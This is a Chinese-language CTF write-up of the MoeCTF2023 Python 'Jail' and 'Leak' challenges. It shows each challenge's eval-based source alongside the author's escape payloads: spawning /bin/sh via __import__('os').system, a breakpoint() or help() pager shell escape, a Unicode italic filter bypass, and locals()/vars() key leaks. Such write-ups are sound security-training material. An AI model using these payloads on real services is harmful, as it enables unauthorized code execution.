前言:

这次MoeCTF的沙盒逃逸系列整体和HNCTF 2022的那次差不多,除了有些小问题,但大部分还是可以单纯在windows环境下解决。同时也学了一些很有意思的东西,顺便再记录一下学习成果。

Jail Level 0

1
2
3
4
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))

第0关,检测你的nc是否可以正常工作,没有做任何过滤。

我的答案:

1
open('flag').read()

Jail Level 1

1
2
3
4
5
6
7
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

这里限制了payload的长度不能超过12,上一关的方法没有办法使用了。

这里用breakpoint(),刚好长度是12。

image-20230824094828590

再直接给user_input_data赋值,拿到权限,再cat flag

1
user_input_data = __import__('os').system("/bin/sh")

或者直接cat flag

1
user_input_data = __import__('os').system("cat flag")

Jail Level 2

1
2
3
4
5
6
7
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>6:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

这里进一步限制payload长度,那么很明显breakpoint()也没有办法使用了。

这里选择用help(),然后再查询sys

会因为长度过长,解释器会使用more来分页,这个时候再填入

1
!/bin/sh

或者直接

1
!cat flag

Jail Level 3

1
2
3
4
5
6
7
8
9
10
11
12
import re
BANLIST = ['breakpoint']
BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):
raise Exception('Blacklisted word detected! you are hacker!')
print('Answer result: {}'.format(eval(user_input_data)))

此处输入长度限制到12,但是把breakpoint()给限制了,这里使用斜体绕过,任意一个字母换成斜体即可,剩下做法和Jail Level 1一致

1
𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘯𝘪𝘵()

顺便贴一个特殊字母表大全

字母符号大全 - 特殊符号大全 (tsfhdq.cn)

Jail Level 4

image-20230824100403031

没有任何东西,似乎就是单纯eval(user_input_data),但是是Python 2.7

我的答案:

1
__import__('os').system('/bin/sh')

以及

1
open('flag').read()

Leak Level 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("| Options:
| [V]uln
| [B]ackdoor")
def func_filter(s):
not_allowed = set('vvvveeee')
return any(c in not_allowed for c in s)
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>9):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_valid_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ")
print(eval(code))
else:
print("You should select valid choice!")

这里是要先泄露出key才能执行输入的代码,先进入vuln,vuln的条件是输入长度不超过9,并且不能包含”v”和字母”e”

我的答案:

1
locals()

或者

1
globals()

image-20230824101222350

拿到key再去Backdoor获取flag。

Leak Level 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
def func_filter(s):
not_allowed = set('moe_dbt')
return any(c in not_allowed for c in s)
print("| Options:
| [V]uln
| [B]ackdoor")
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>6):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_vailed_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ")
print(eval(code))
else:
print("You should select valid choice!")

这里进一步限制,不能包含”moe_dbt”当中的任何一个字符,且长度不超过6

我的答案:

1
vars()

image-20230824101545590

同样可以拿到key

Leak Level 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("| Options:
| [V]uln
| [B]ackdoor")
def func_filter(s):
not_allowed = set('dbtaaaaaaaaa!')
return any(c in not_allowed for c in s)
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
print("you need to ")
code = input("code >> ")
if(len(code)>6):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
if not code.isascii():
print("please use ascii only thanks!")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_vailed_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor> ")
print(eval(code))
else:
print("You should select valid choice!")

这里再进一步限制,不能包含”dbtaaaaaaaaa!’”当中的任何一个字符且输入长度不超过6

这里使用help(),再查询__main__,也可以显示出变量key的值

image-20230824102436443